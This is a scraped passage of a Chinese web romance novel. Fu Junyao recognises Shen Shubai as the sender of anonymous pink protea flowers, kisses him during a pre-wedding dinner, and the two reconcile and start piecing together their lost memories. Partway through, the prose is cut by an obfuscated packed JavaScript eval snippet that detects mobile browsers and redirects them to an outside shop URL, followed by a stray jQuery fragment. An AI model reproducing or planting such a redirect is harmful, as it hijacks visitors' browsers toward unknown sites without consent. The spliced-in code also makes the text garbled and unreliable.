可他们都不能确定这些最后能不能解开他们的恩怨,他们也都不知道他们会不会像江晴和江醇那样幸运。 可……万一呢? 万一他们真的和江晴、江醇一样幸运呢? 万一他们之间的恩怨也是个误会呢? 万一他们真的有机会在一起呢? …… 沈宅。 沈述白刚洗完澡,换了身纯白色的家居服,坐在床边的小沙发上,怀里抱着白白。 手指在屏幕上翻动着,看着许远舟推荐给他的一家花店,品类非常齐全。 刚看到一半,房门被敲响。 他愣神,关了手机,没回答门外。 两秒后,门被打开。 沈行之也换了家居服,动作如行云流水般,关门、反锁,最后坐到他的床上。 沈述白一句话不说,手掌揉了揉白白的脑袋,等着他开口。 沈行之撇了撇嘴,语气不满:“你亲哥进来,你就一点反应没有?” “你就比我大五分钟。”沈述白语气平淡,继续撸狗。 “那也是大,我职位也比你高。” “有事说事。”沈述白一句话顶回去。 “我听说你主动去给许远舟当伴郎了?” 沈述白嘴角几不可察地撇了撇:“我觉得你现在应该把精力放在你的未婚妻身上,你们下个月结婚,总不能还跟陌生人一样?” 沈行之轻哼,完全不接茬:“我的事你别管,现在是我问你。” “……” 沈述白沉默,他不明白,沈行之就比他大五分钟,却比他精多了,跟人精似的,甚于父亲,堪比奶奶和爷爷。 在他那,他完全不存在隐私这一说。 “怎么,就想跟她一起走红地毯?不过我听说人的配对伴郎是林逸深啊,你这凑热闹也没凑明白。” “……” 沈述白睨过去,脸色更沉。 沈行之丝毫不怵,语气里衅意更甚:“生气了?我倒是觉得挺好,她另寻新欢,你孤独终老,老死不相往来,棒极了!” 沈述白拳头猛然捏紧,没一会,又松了下去。 然后对他扯出一个假笑,道:“等下次见到那位宋小姐,我一定把你的黑历史转交给她,我都备份了。” “……” 沈行之终于收敛:“我说的可是大半句实话,我可提醒你,帮你是帮你,结果99.99%不会变,去婚礼当伴郎伴娘就算了,好歹有顾清漪跟许远舟在上头挡着,婚礼结束之后,你可别再给我整出什么幺蛾子来了,听见没?” 沈述白抿着唇,默不作声。 “我再提醒你一次,只要是爷爷奶奶和爸妈知道了,爸妈还有可能护着你,但是爷爷奶奶,绝对不可能!你要是触到逆鳞,一定会死得很惨!” 沈行之也没指望他回应,摸了摸白白圆滚滚的脑袋,出去了。 沈述白还保持原样,双目直视前方。 99.99%不会变。 那不是还有0.01%么。 就算是万一的概率,那也是他的希望。 53. 25 工作日的最后一天,傅珺瑶的事情不多。 老爷子也知道她要去给顾清漪当伴娘,说今天不用去他那汇报工作。 傅珺瑶暂时喘了口气。 可精神依旧微微绷紧,满脑子都想着事。 项目的事,她自己的事,她和沈述白的事。 压力在无形中攀升,她需要杯咖啡。 内线电话还没按下去,聂秘书都没来得及敲门,抱着一捧花冲进来。 大喊:“傅总,是帝王花!又有人送帝王花给您了!” 傅珺瑶双肩微颤,视线定格的那瞬,瞳孔骤缩。她猛然起身,身体里的那股压力也跟着失了踪迹。 不大不小的一捧花,五支粉帝王,空隙里穿插着数十支粉玫瑰。 傅珺瑶眉头微微皱起,伸手接过来,清新微甜的花香味窜进鼻息。 “没有署名?”她的声音略微干哑。 聂秘书摇头,说还是和上次一样,没有任何信息,只有插在粉玫瑰上的一张卡片。 心脏猛地收缩,又迅速舒张,血流仓皇地往四面八方冲开。她抽出那张卡片,指尖几次在闭合面发滑。 卡片翻开。 她的瞳仁缩得更紧,呼吸停滞,鼻息里的香味陡然散尽,心跳也在某个瞬间停止,大脑仿佛有无数道白光同时炸开,一片模糊、稀碎。 傅珺瑶的眉头拧紧、再拧紧。 她死死凝着卡片上的微微发颤的文字。 【开心、鲜活、自由,你都会有,一定会有。】 周遭的一切仿佛倏然消失,什么都没有剩下。 耳边的轰鸣好似顺着一条笔直的线往上攀升、再攀升,耳压急剧增强,几乎要牵连大脑。 心脏一瞬搏动,顷刻击碎了所有的压力。 气息恢复,瞳眸稍微松懈,眉头平展了些,那行文字也安分下来。 “傅总?”聂秘书试探性开口。 傅珺瑶蓦然沉了口气,摇头:“没事,你先出去吧。” 办公室门合上的同时,傅珺瑶双腿突然软了力,被身后的椅子稳稳接住。 那捧花撞了她满怀,微甜的花香强势融进呼吸道。 左手抬起,浅亮的指甲轻轻按在那支粉帝王上。 不似粉玫瑰花瓣的柔软,粉帝王微微坚硬,落在指腹上,生出股对抗力。 傅珺瑶那双带着点攻击性的杏眸眯起,眸中闪烁的微光瞬间把攻击性吞噬殆尽。 她心跳的频率不快,可每一下,都强力撞在胸壁,清晰的回响荡在耳边。 那天她看到备忘录时查过,粉帝王的寓意。 多次浴火,也能重生。 她瞬间明白自己为什么会记下来。 因为最特殊,因为最懂她。 她很诧异,居然会有那样一个人,还是一个男人,能够懂她。 傅珺瑶抿着唇,抄起桌上的手机,想要去找那个人。 可手机刚解锁,顾清漪的电话就来了。 “珺珺,我下午去接你,我们早点过去。” 他们一群人约了晚上聚餐,结束之后直接跟着顾清漪和许远舟去郊区的两栋别墅,等着明天的婚礼。 傅珺瑶应了声好。 电话挂断后,她又没急着进微信,反而关了手机。 情绪突然平静下来。 她凝眸,视线在五支粉帝王上细细扫过,不放过任何一个角落。 多次浴火,也能重生。 傅珺瑶起身,怀里的花被他摆在桌角。 再回到座椅,她一言不发,很快进入工作状态。 …… 下午四点半,傅珺瑶手上的事早已结束,她也让聂秘书提前下班,自己跟着顾清漪走了。 “我提前跟会所的经理说过了,做了好几道口味比较重的菜,庆祝你终于不用喝药了。”顾清漪叼着根棒棒糖,戴着墨镜,懒懒靠在座椅。 傅珺瑶浅浅勾唇,一手捏着下巴,语气还算轻松:“费心了。” 顾清漪坐直,勾出棒棒糖,侧眸斜过来,似乎对她的反应不是很满意:“就没了?” 傅珺瑶猛然回神,暂时扫去脑海中的那些思绪,往顾清漪身边靠了靠。 挽住她的胳膊,下巴抵在她的肩口,声音上扬,语气略显夸张:“超级感动!你简直就是我的心灵女神,女神,我没你不行。” “……傅珺瑶,你太假了。”顾清漪嘴上嫌弃,可眉眼却往上弯。 傅珺瑶哼笑,反问:“假?” 空出来的手掏出手机,在屏幕上迅速敲点:“那就来点真的。” 话毕,顾清漪的手机已经收到转账提示音。 顾清漪没看,棒棒糖重新塞进嘴,语气漫不经心,仿佛完全不在意:“钱财乃是身外之物。” 傅珺瑶沉吟两秒,扣住她的手,了然道:“说吧,想要什么?” 顾清漪嘴角的弧度瞬间压不住,侧身,被挽胳膊的对象已经换了人,她顶着傅珺瑶的三角肌,眉眼弯成两条缝,鼻梁稍微上拱:“你的车,连号车牌的那几辆。” 傅珺瑶沉笑了声,想起车库里的那些车。 傅淮湛说了,那一层停车场全是她的车,大学那会她在恒璟实习,工资全都拿来买车买黄金了。 车型齐全,贵的有,也有比较便宜的。 “你喜欢尽管挑好了,如果特别想要,咱们下次去办过户手续。” 顾清漪挽得更紧:“女神!你才是我女神!” 傅珺瑶跟着她笑。 闹了没一会,顾清漪又靠回座椅,不急不缓地开口:“我也跟许远舟说了,让沈述白去后厨做百香果酸汤牛肉。” 傅珺瑶身体一僵。 后知后觉。 这才是顾清漪的大招。 傅珺瑶扬起的嘴角平了下去。 “不想吃?”顾清漪见她脸色沉下去,以为她跟沈述白之间又发生了什么事。 傅珺瑶双目怔忪,只片刻,她摇头,话语在喉间萦绕很久,迟迟不肯脱口,只斟酌再斟酌、酝酿再酝酿。 顾清漪的五指扣紧她的手,按下前方的挡板,隔绝了驾驶座和后座的空间。 “说吧。”顾清漪的声音很轻,却带着强烈的安全感。 傅珺瑶缓慢侧头,对上那双清亮的眸。 她肩口一松,目光沉沉,声音里没有半分犹疑:“如果…遇上一个懂我的男人,我是该抓紧,还是该放手?” …… 私密性非常强的会所内,经理早早的在包厢内候着,有条不紊地安排着一切。 许远舟早到了,听见动静,很快起身,对着顾清漪扬起一个弧度极深的笑,语气微微柔和:“老婆!” “让你安排的事都安排好了吗?”顾清漪早已习惯他这副模样,牵着傅珺瑶的手在包厢的沙发上坐下。 许远舟视线扫过两个女人紧紧贴合的手,几不可察地撇撇嘴:“安排好了,述白在后厨。” 傅珺瑶迎面对上许远舟稍微沉下来的目光,嘴角仍然保持平敛,一言不发。 顾清漪手指挠了挠傅珺瑶的掌心,又冲她扬了扬下巴,微眯的双眸中溢出几分意味深长的浅笑。 傅珺瑶无声扯唇,又慢慢松开顾清漪的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204388|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 陈祎和路婧一行人也很快到了。 当然,还有林逸深。 这周林逸深没能抽出时间来找傅珺瑶,只有每日的一束鲜花,还有晚间的简单问候。 他一进门,目光几乎是立刻锁定在傅珺瑶身上。 他先跟顾清漪和许远舟简单打过招呼,两条腿便迫不及待地靠近傅珺瑶,唇边温润的笑意如春水般绵延不尽。 “珺珺,好几天没见到你了,这周过得怎样?” 傅珺瑶眸中毫无波澜,音色平淡:“还行。” 话音刚落,面前陈祎的声音闯进来:“林总怎么不问问咱们?” 语调明显上扬,带着调侃的味道,傅珺瑶眉头轻蹙,冷眼扫过去,还没对上陈祎,身侧的林逸深又抢着开口:“哪有?只是和珺珺有几天没见了,很记挂她。” 傅珺瑶的眸光沉了下来。 包厢里一阵哄闹紧随而至。 陈祎又是个不嫌事大的,继续揶揄:“喔唷,果然在青梅竹马面前,咱们可都不够瞧哦?” 林逸深的目光往傅珺瑶身上凑,傅珺瑶余光探到,仍然坐直身子,一瞬不瞬地直视前方。 林逸深又低下头,唇边的弧度更明显。 哄闹声不止。 顾清漪悄悄拽了拽傅珺瑶的衣角,傅珺瑶还是不动。 短暂的停顿后,她的视线定在了最先调侃起来的陈祎身上,喉间挤出声冷笑,语气不咸不淡,甚至染了几分浅淡的笑意:“是啊,我和林总不过就是十多年没见的青梅竹马而已,我记得陈总不是和林总是发小吗?难道还不如我这个都快不算青梅竹马的人?” 陈祎的脸色瞬间平下来,连带着哄闹声也消失在林逸深发僵的嘴角中。 陈祎面子明显挂不住,却又不敢对傅珺瑶说些什么,只能干笑两声,给自己找补:“傅总别生气嘛,就开两句玩笑。” 傅珺瑶嘴唇勾了勾,目光慢慢扫向剩下的那些人。 在一个个对上傅珺瑶的眸子之后,那些人脸上原本的笑意都平了下去。 傅珺瑶轻哼:“我理解,所以我也是回了一个玩笑给陈总嘛,陈总,你也别介意。” 陈祎的脸稍稍憋红,几秒的沉默后,摸着后脑勺笑道:“当然不介意。” 傅珺瑶收敛唇角,没再说话。 许远舟起身,推着一行人赶快入座。 顾清漪顺势挽着傅珺瑶,让林逸深赶快也过去。 可他偏偏不动,更靠近,在傅珺瑶耳边低声道:“珺珺,我只是有几天没见到你,非常想念你,是我没控制住,抱歉。” 傅珺瑶的表情没有任何变化,声音如这包厢里的冷气,微微发寒:“林逸深,尊重是相互的,不管你能不能控制自己,都和我无关,你尊重我,我也尊重你,反之,亦然。” 说完,她牵着顾清漪起身,跟着落座。 一个眼神也没留给林逸深。 “述白呢?”陈祎看着桌上独一的空位,再次问起。 许远舟自然还是和上次一样的回答。 “又去做百香果酸汤牛肉了?他怎么对这道菜这么执着?”陈祎不解。 傅珺瑶抿了口水,视线落在那个空位。 眸光瞬时聚焦。 空荡荡的一小块占地,只被排风口吹出的凉气侵袭,可那股凉气却慢慢往她的方向蔓延,顺着呼吸道往下,缓缓迸开,掀起了点她未能言明的冲动。 “毕竟有人喜欢,让他做吧。”许远舟简单带过。 “抱歉,久等了。”话毕,包厢的门被推开,沈述白温柔如旧的声音跟着进门。 54. [锁] [此章节已锁] 傅珺瑶气息微凝,双目藏在嘈杂的氛围,轻轻落在那个空位。 他的脚步声混在此起彼伏的男女声中,却始终清晰,一步一步,稳稳踏在她的心间。 傅珺瑶隐隐察觉到朝她扫过来的、温柔的视线。 她仍然保持原样,心跳却不知道什么时候加了速,温度渐起的血液浸入了原本在体内迸开的凉气,那股冲动更强烈。 他的身影进入视野范围。 他没穿西装外套,只一身简单的黑色衬衫,领带解了,脖颈间的扣子也解开一颗,修长的脖颈一览无余,锁骨半掩在衣衫里,傅珺瑶无意识地咽了咽喉。 黑色的西装裤把衬衫下摆严整的包裹进去,不露一丝皱褶。 他入座。 黑色耳钉率先夺了眼球,只一瞬,便被那双由内而外散发着潋和气息的褐眸取代。 傅珺瑶瞳仁微缩,心脏的起搏停滞几秒,继而猛地收缩,在胸壁上清晰撞出“咚”的一声。 太阳穴一股热流窜过,给滋生的冲动又添了一把火。 傅珺瑶喉间溢出很轻的声哼吟,又迅速收回目光。 包厢的侍者醒酒完毕,正一一往高脚杯里倒入亮红的葡萄酒,醇香味浓,一个劲地往傅珺瑶鼻腔里钻。 呼吸逐渐错频。 喉嗓有些干涩,她很想拿起面前的红酒,一饮而尽。 可这桌上不止她一人,主角也还没发话。 她又再次抄起透明的玻璃杯,抿了几口根本不起作用的温水。 水面晃荡得厉害,在她手中完全没有半分要平息的意思。 是顾清漪从她手中抽走玻璃杯,又凑近,低声说:“先稳住,吃完饭。” 傅珺瑶眸光微闪,耳根隐隐发热,清了清嗓,坐直,视线安分地盯着面前空无一物的餐盘。 二十一道菜上齐。 微酸的百香果味道在咸鲜辛香的菜肴中脱颖而出,优先占据傅珺瑶的嗅觉细胞。 胃里跟着有了反应。 暂时搭在腿上的手捏紧,餐巾很快被捏出皱褶。眼皮微微上抬,只触及他被黑色衬衫捂得严严实实的胸口。 漆黑的眼珠平静转动,餐巾在手里被蹂躏得不成样子。 “来,让我们先祝清漪、远舟,新婚快乐!”是路婧提杯。 嘈杂声消失,傅珺瑶跟着其他人一起举杯,视线短暂地撞进他眼中,又迅速移开,轻喊:“新婚快乐!” 杯中的红酒一饮而尽。 傅珺瑶喉间只觉酣畅,可酣畅持续不到两秒,对侧一道稍微凛冽的视线挤进来,一贯温润的眸光里多了几分不悦。 傅珺瑶轻快地将高脚杯怼回原位,慢条斯理地擦了擦嘴,眉心不可抑制地抽了抽。 她悄然挪开眸子,面前恰好转过来一道清香可口的鲈鱼,傅珺瑶用公筷夹了块鱼肉到自己碗里,白嫩鲜美的鱼肉裹着油亮的汤汁进嘴,她勾唇,心底畅意更浓。 高脚杯里再次添了酒。 那道百香果酸汤牛肉又转到面前,傅珺瑶再次举了杯,不过只抿了一小口,便让侍者给自己盛了酸汤。 那道视线还在她的方向流转。 傅珺瑶舀了勺汤,微红的汤汁仿佛加了什么佐料,送进嘴,满腔的欣快感。 桌上的人还在聊着、笑着。 她浑然没听清。 除了顾清漪偶尔跟她搭的几句话,她低声回应了,其余的注意力全在那双隐匿于十几人中的目光上。 碗里的酸汤见底,牛肉也咀嚼进肚。 酒杯再次举起,她扬起下巴,饮完酒液,眸子顺势在那一瞬顶上褐眸,再不动声色地移开。 来回反复。 将近十道菜从面前转过,傅珺瑶喝了三四杯红酒。 她倒没有太明显的感觉,唯独心底的冲动,更足、更强烈。 强烈到,她想立刻实施她的‘计谋’。 侍者再次来给傅珺瑶添酒。 酒液还没来得及在杯中停稳,对侧那人突然起身,短暂打破了热闹的氛围。 众人一愣。 沈述白侧身绕出座位,深褐色的眸在耀眼的顶光下闪了闪,温声道:“我去下洗手间。” 傅珺瑶垂着眼皮,咽下嘴里鲜美的鲈鱼,鼻腔里发出很轻的声气音。 她抬手,餐巾压在唇边,慢慢拭净唇上沾的油光,连带着口红也被擦掉不少。 胳膊肘往顾清漪那侧顶了顶,然后缓慢起身,语气坦荡:“我去补个妆,各位慢慢吃。” 开了包厢门,高跟鞋下像是被套了加速器,脚底生风。 越过金亮大气的长廊,傅珺瑶利落转身,进入拐角,捏紧了手里的包,高跟鞋的声音愈发清脆。 心跳不知不觉和脚步同频。 傅珺瑶站在洗手池边,双腿停稳,心跳却依然保持着原有频率。 头顶清晰晃亮的灯光直直地打在脸上,傅珺瑶默默和镜子里的自己对视,那股冲动由心底上延,混进了黑曜石般的眼珠里。 她不紧不慢地拿出粉饼,一点一点按在面中。等她满意,再拿出熟悉的口红,重新覆盖在唇上。 双目直勾勾地盯着唇中,看到整张脸上最突出的红色,她的唇角缓缓上勾,又迅速被她压下去。 傅珺瑶收好东西,把包放在一边,终于拧开水龙头。 清澈的水流从指缝慢慢溜走,她看到前不久做好的指甲被水珠覆盖,又被新的水流冲走。 两手交叠反复。 她没有要停下来的打算。 “傅总是又喝醉了,出来醒醒酒?”他的声音陡然闯入耳畔,还算得上温和的嗓音中夹杂了一丝不快。 傅珺瑶的手终于停下。 她也不回答,背手关了水龙头,捻了两张纸巾,不急不缓地拭干手上的水珠。 掌心、指腹、关节,每一处都要仔细擦过。 直到两张纸巾完全软在手里,氲满湿迹。 她轻轻一甩,纸巾精准地扔进垃圾桶。停顿两秒,左手抄起包,毫不犹豫地走向他。 沈述白霎时怔愣,下一秒,手臂被她牢牢抓住。 傅珺瑶一言不发,拉着他直接绕过拐角,避开侍者,往长廊的另一个方向走。 最后停在空包厢前,她背过身,用后脊顶开门,手稍微用力,把男人带了进来。 “你……” 只开了一排顶灯的包厢内,光线并不算足。傅珺瑶左手甩过去,包扔在了沙发上,紧接着,双手抵着男人的肩口,使劲把人往前推。 沈述白毫厘不差地被她推进沙发,她没停留,一个跨步,坐在他腿上。 他的一句话刚开口,她没有给他说完的机会,左手掐住他的下巴,虎口死死抵住下颌骨,强横地吻了上去。 双唇交叠的瞬间,男人的气息止住一瞬。 仅仅只一瞬,便如天雷勾地火般,在这光线昏暗的包厢里迅猛燃烧。 傅珺瑶张开嘴,主动往前,探入他的领地。 没有任何忌惮,没有任何保留。 她就是要在这里,狠狠地吻他。 他在探到她主动的同时,手臂收紧,扣牢她的腰背,再托住她的后颈,唇上的动作跟着变得凶猛。 熟悉的以退为进、你追我逐。 好甜。 这是傅珺瑶的感觉。 是红酒在体内将她的冲动推出来后,回甘的余甜。 她的唇张开的幅度更大,迅速绞入他的气息,顺着腔道蔓延下去,冲入心口,激起心脏的强烈兴奋。 顷刻间,耳根红透。 傅珺瑶只觉得不够。 空出来的手跟着不安分,从他的后颈绕到耳垂,指腹按在黑色耳钉上,用力捏了一下。 男人喉间溢出声闷哼。 大脑疾速分泌多巴胺和内啡肽,傅珺瑶的愉悦感迅速攀升。 她的手下移。 停在他的脖颈,那里有微微鼓出来的青筋,以及搏动感强烈的颈动脉。 她的气息更沉,食指伸长,沿着他凸出来的喉结,上下摩挲。 他的闷哼更频繁地从嘴边泄出,声带震动,透过喉结震到她的指腹。 酥酥麻麻,有些痒。 再移动。 是他若隐若现的锁骨,他的骨骼结构跟她不太一样,锁骨都比她宽不少。 再挪移。 是他的胸肌。 傅珺瑶忍不住勾唇。 隔着单薄的衬衫,她摸到了那一块。 腰上的力道突然一紧。 唇上的交战未停。 傅珺瑶没有挪开,加重力道。 轻闭的双眸也睁开,看到他沁出一层薄汗的额头。 心脏猛地一跳,多巴胺和内啡肽像是不受束缚的野马,肆意狂奔。 他似乎感受到了她的视线,微微虚焦的深褐色瞳仁很快浮现在眼中。 傅珺瑶看不清,但还是能感受到从那里流出的温柔。 那种从内里自然而然散发的、不需要任何修饰的、独一无二的温柔。 气息逐渐加温,拖动空气里弥散的分子混合。 傅珺瑶终于舍得松开沈述白。 视线在唇离开他的那一瞬聚焦,看清他的瞳眸。不过转瞬,她便往下瞥,落在他的唇上。 那里……落满了她的口红。 浑身被充盈的愉悦感扫荡。 舌尖轻抵唇角,隐隐有些麻。 她很满意。 哪怕此刻意识强于理智,她也依然不打算退缩。 她要的就是他。 她傅珺瑶,要的就是沈述白。 胸腔起伏的动作你来我往,粗重的喘息声揉进昏暗的灯光里。她靠近,鼻尖贴着他的鼻尖。 “你…什么意思?”他的声音微颤。 傅珺瑶轻笑,轻啄了一下他,声音带着暧昧过后的嘶哑:“你不是最懂我,那猜猜看?” 男人的手臂再次收紧。 “傅总是打算来还我那71颗‘蜜饯’?”他眯起眼,褐眸中掺杂浓浓的情雾。 傅珺瑶再次凑近,轻轻吮吻:“你觉得这样就够了?” 男人的身体猛然一僵,双瞳缩紧。 傅珺瑶满意笑笑,不再打算绕弯子,虎口掰正他的下巴,语气略微强硬:“沈述白,如果再给你一次机会,你还要不要当我老公?” 男人却仿佛失了声。 傅珺瑶很久都没有等到答案。 她一瞬不瞬地凝着那双眸,底气还算足,可他不回答,她难免失了耐心。 正欲开口质问,沈述白突然动唇,喉结滚动明显,他凛神,眸中的雾气散尽,多了几分认真:“那晚你喝醉,跟我说的那些话,其实我也很想说,如果沈述白是无法和傅珺瑶在一起的沈述白,那我宁愿做回江阔,只有江云的江阔。” 傅珺瑶眉心抽动,虎口钳制他的力道松了些,片刻晃神,看向他的耳钉,神色微微收敛。 他继续:“可就这么做回江云和江阔,我们都不会开心。” 傅珺瑶抿了抿唇,不急于开口。 腰背上的力量突然减弱,他坐直,声音更严肃:“以及如果是做见不得光的地下情人,我不会愿意。” 傅珺瑶望着他,双眸眨动两下,忍住了想要发出的嗤笑。 暗自腹诽:就是个二愣子。 她再三吻过去,让他的唇周沾满她的口红,语气稍稍上扬:“如果我一定要你做我的地下情人呢?” 那片琥珀海明显不再平静,瞬间翻起骇浪。 她追问:“你不是说,这辈子,你只做我的老公?” 话语出口的那一刻,她的心脏抽起短暂的疼。 男人眼底的骇浪更凶猛,却略显沉重。 “是,可如果没有名分,傅珺瑶和沈述白就等于从来没在一起过,那不是我想要的,也不会是你想要的。”他的声音颤得厉害,语气却再笃定不过。 傅珺瑶抿紧了唇。 心脏再次绵延出钝痛,她有些想笑,也有些想哭。 为什么会有一个男人,懂她至此? 还是一个和她有仇的男人。 他们以前不是敌对关系? 他到底是怎么知道她心里在想什么?又怎么知道她需要的是什么? 难道真应了那句话:最懂你的不一定是朋友,也有可能是敌人。 她俯身,紧紧抱着他,下巴死死抵在他的肩口,胸腹也没有隔开一丝空隙。 耳边能清晰听到他颈动脉的搏动声,她一贯依赖的味道也跟着占据整个呼吸道。 傅珺瑶不说话,只一味收紧手臂,直至没有再紧的余地。 沈述白胸廓起伏的动作很缓、很慢。 他沉默很久,却迟迟没有松开她,甚至于,他的力道在逐渐加重。 傅珺瑶眼皮垂下,仍然不说话,只轻轻吐了口气出来。 与此同时,包厢门口突然传来脚步声。 两人的身体猛然僵直。 可仍然不松手。 傅珺瑶睁开眼,眼前就是他的耳钉。 心跳打鼓似的震响,她却觉得更刺激,脖子伸长,温热的唇落在他微凉的耳钉上。 圈住背脊的力道重至极限,她整个身体都往前挪。 他们成了在江渔村的那个夜晚险些失控的姿势。 傅珺瑶心跳更快。 他的声音终于响起:“你是认真的?” 他刻意压低声音,可那低哑的嗓音更挠得她心口泛痒。 门口的脚步声还没远去。 傅珺瑶瞥了眼那扇没有上锁的包厢门,张开唇,轻轻咬住他的耳垂。 熟悉的哼吟灌进她的耳道。 她满意勾唇,同样压下声:“既然能送我那束帝王花,又为什么猜不中我此刻的心思?沈述白,你就是个二愣子!” 前些天,她只想先弄清他们出事的原委,其他的事,她都想等有了结果再做决定,是进是退,都是不确定的。 她不想冒险,她不想让他们陷入绝境。 她明白,他也一样。 他们都清楚彼此的心意。 只是或她或他,都强留着最后的坚持。 所以哪怕她当时真的想过要让他当她的地下情人,都被理智给吞了回去。 可今天她收到那束帝王花,所有的坚持都瞬间塌陷。 开心、鲜活、自由,是当初他问她想成为怎样的人时,她亲口说出来的。 只有他知道。 那束花除了他,不可能再是别人送的。 她没想过会那么巧。 她是想平心静气过来问问他,想串起失忆前的事的。 可看到他出现在眼前的那一刻,一切都乱了。 她脑海中只剩一个想法:她不能放走他,她要把他占为己有。哪怕他们之间仅有那一丝希望,她也一定要抓牢他。 顾清漪在车上的那句话也成了她最大的鼓舞:“如果真是那样,就带着那一点希望冲一次,没准真会颠覆目前的局面呢?” 门外的脚步声远去,傅珺瑶直起身,视线重新回到他脸上。 男人的眸中,弥漫起了雾气。 她也险些失守,眼角冲起一阵酸。 她捧着他的脸,重新开口,语气里多了几分郑重:“沈述白,我要你,是要能让所有人都知道,沈述白是傅珺瑶的,是就算只有那一点点希望,也想为了重要的人拼一次的那种,你明白吗?” 雾气在褐眸中凝集,聚成水珠,从眼角溢出,往两侧滚落。 傅珺瑶的鼻腔忍不住抽了抽,酸意直冲颅顶。 她深吸了口气,声音还算稳:“你哭什么?” 男人没有回答她,以吻取而代之。 这一次的主动权,换到了他手里。 他用她最熟悉的方式,托稳她的后颈。 她闭着眼沉浸,不过两秒,她又猛地掀开眸—— 嘴里含进了几丝咸涩。 傅珺瑶再也忍不住,湿热的滚烫从眼睑滑落,跟着他的泪水一起,混杂在这个吻里。 像是互相攀附的藤条,只想纠缠得更紧、钳制得更紧。 分不清过了多久。 他先停下。 她跟着松开。 两双浸着泪的眸子互相勾缠,谁都不舍得移开。 “你真的…愿意赌这一次?”沈述白的一只手转移,指腹按在她的眼睑下,慢慢拨去她的泪珠,嗓音带着明显哽咽问。 傅珺瑶反扣住他的手,脸色柔和,点了点头,说:“其实我……” 话没说完,包里的手机铃声骤响。 傅珺瑶的话被堵了回去。 她侧头,伸手拿了那个被她扔在一旁的包,又快速掏出手机。 顾清漪的电话。 “珺珺,你们去哪儿了?太久了不好糊弄啊,快回来!”顾清漪在电话那头压着声音催促。 傅珺瑶瞬时回神,快速回应那头:“马上,我马上回去!” 电话挂断,她毫不犹豫从他腿上起来。 “……” 也顾不上什么温存,背手抹掉脸上的泪珠,语气匆匆:“我去补妆,你过五分钟再回去,记得把嘴上沾的口红擦干净,绝对不能被看出来啊!等吃完饭,我再找机会去找你。” 她也不等沈述白回应,捏着包拉开包厢门就走。 “……” 傅珺瑶在洗手间的镜子前反复确认过自己的状态看不出破绽之后,才不紧不慢地回了包厢。 “你俩再晚点,这桌上的人就真以为你们约架去了。”顾清漪凑近傅珺瑶耳边,低声侃道。 傅珺瑶抿了口水,“没事,不闹出动静,谁会在意?” 反正这群人也不是闲得没事干。 “你搞定了?”顾清漪好奇。 傅珺瑶脸上的表情没什么起伏,平声道:“一大半,还有事没来得及问。” 她这么一说,顾清漪很快明白,轻轻点头:“一会我帮你制造机会。” …… 顾清漪说的机会,就是在晚餐结束后,他们回别墅时,她把傅珺瑶留到最后,让其他伴娘都先行出发,最后等许远舟带着伴郎团走后,让她上了沈述白的车。 傅珺瑶临上车前,顾清漪还不忘叮嘱:“把握好分寸啊,明天还得早起。” “……” 熟悉的黑色奔驰隐没在黑夜中,两人一句话没说。 沈述白开了导航,傅珺瑶瞥了眼,便转向另一侧,胳膊肘顶在车门,手背托着下巴,唇角弯了弯。 暗诽:闷骚怪。 一个小时后,车停在了一片树林间的辅路,四周静谧,无人无灯。 车窗关得紧紧的,隔绝了温热的晚风和林叶纠缠奏起的交响曲。 耳边,只有他们彼此的呼吸声。 傅珺瑶视线下瞥,落在自己微微起伏的胸廓,收回搁在下巴的手,坐直身子,直视前方,只用余光去探身侧的男人。 她知道他在等她开口。 于是开门见山,说了最重要的事:“你找找你失忆前的购买记录,确认一下,失忆前是不是也是你送我的粉帝王。” 沈述白不明所以的“嗯”了一声,尾音上扬,明显困惑,手上却拿出手机,开始翻找。 傅珺瑶解释:“我备忘录里有条信息,在出事前,有个男人也送了我帝王花,而且我特地抽了时间去见他,我的秘书告诉我,在那之后,我每隔两天就会出去见一个人,我猜…或许就是去见送我粉帝王的人。” 沈述白的动作陡然一顿。 指尖滑动的速度很快,像是有着明确的目标,直接翻出来两个月前的消费记录,点进去。 “原来这是送给你的花?”他的语气带着后知后觉的了然,了然之余,又含了些庆幸。 傅珺瑶转眸:“你不知道?” 沈述白摇头,解释:“我只查到我在这家花店订过花,但是去找过店主,店主说我没有露过面,只是线上联系,而且还交代她要保密我的购买信息,一个字都不能透露,我手机里的信息记录可能被我删了,没法跟她确认,她什么都不愿意告诉我,我也不知道自己订了什么花,更不知道送给了谁。” 那就是没办法完全确认。 傅珺瑶抿唇,沉吟片刻,又问:“那你今天怎么又想起送我花了?” 沈述白只盯着她,不回答。 深褐色的瞳眸被深黑的夜色笼罩大半,傅珺瑶只探得清一丝光亮。 她微愣,又恍然大悟。 想起卡片上的留言,想起她喝醉跟他说的那些话,想起那晚在环湖公园,他说:“心情不好的话,吃块巧克力。” 其实她早就知道答案了。 傅珺瑶清了清嗓,稍稍心虚,避开他的视线,继续:“行,那就基本确认是你了,所以失忆前我们肯定见过面,但说了什么,我们都不记得了,在什么地方见的面,也藏得很好查不到,再根据你订花的谨慎,我暂且猜测,应该是我 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傅珺瑶大概能懂他这种情绪:他以为她是愿意为了他们的感情疯狂一把,背水一战,结果突然明白她其实是有备而来,那股爆发劲就没那么足了。 她哼了声气,主动靠近,伸出手,捏着他的耳钉,揉了揉:“那不然你想真的只靠那万分之一的概率冲动一回,最后再跟我分一次手?” 她现在虽然不是完全在赌,但赌的成分也很大了。 “你不是也有所保留,没有莽撞出击?”傅珺瑶的声音变轻,没再继续说下去,嘴唇贴在他的耳侧,热气全都洒在他的耳廓。 下一秒,手腕被他握紧。 傅珺瑶抬眸,视线穿梭朦胧的黑暗,对上他温柔的眼眸。 四目相对,交缠良久。 傅珺瑶的另一只手慢慢下滑,落在他心口的位置,指尖在那里滑动两圈,又意味深长地说了句:“你既然选择主动来当伴郎,难道真的仅仅只是为了我?” 沈述白紧握她的五指微颤。 眸光沉下来,他的手松开,转移阵地,托住她的后颈。 傅珺瑶点到为止。 